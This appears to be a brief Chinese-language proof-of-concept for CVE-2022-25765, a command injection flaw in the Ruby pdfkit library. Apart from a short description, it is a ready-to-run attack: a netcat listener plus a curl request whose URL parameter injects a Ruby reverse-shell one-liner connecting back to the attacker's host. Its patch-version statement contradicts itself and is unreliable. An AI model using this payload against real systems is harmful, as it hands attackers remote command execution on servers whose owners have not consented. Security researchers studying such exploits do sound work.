CVE-2022-25765 pdfkit <0.8.6 命令注入漏洞。
pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。
注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。
启动一个 HTTP 服务器
python3 -m http.server 80
启动一个 netcat 监听器
nc -nlvp 4444
使用 CURL 发送请求
curl 'TARGET_ADDRESS' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: TARGET_ADDRESS' -H 'Connection: keep-alive' -H 'Referer: TARGET_ADDRESS' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2FLOCAL-ADDRESS%3ALOCAL-PORT%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22LOCAL-ADDRESS%22%2CLOCAL-PORT%29%29%27%60'
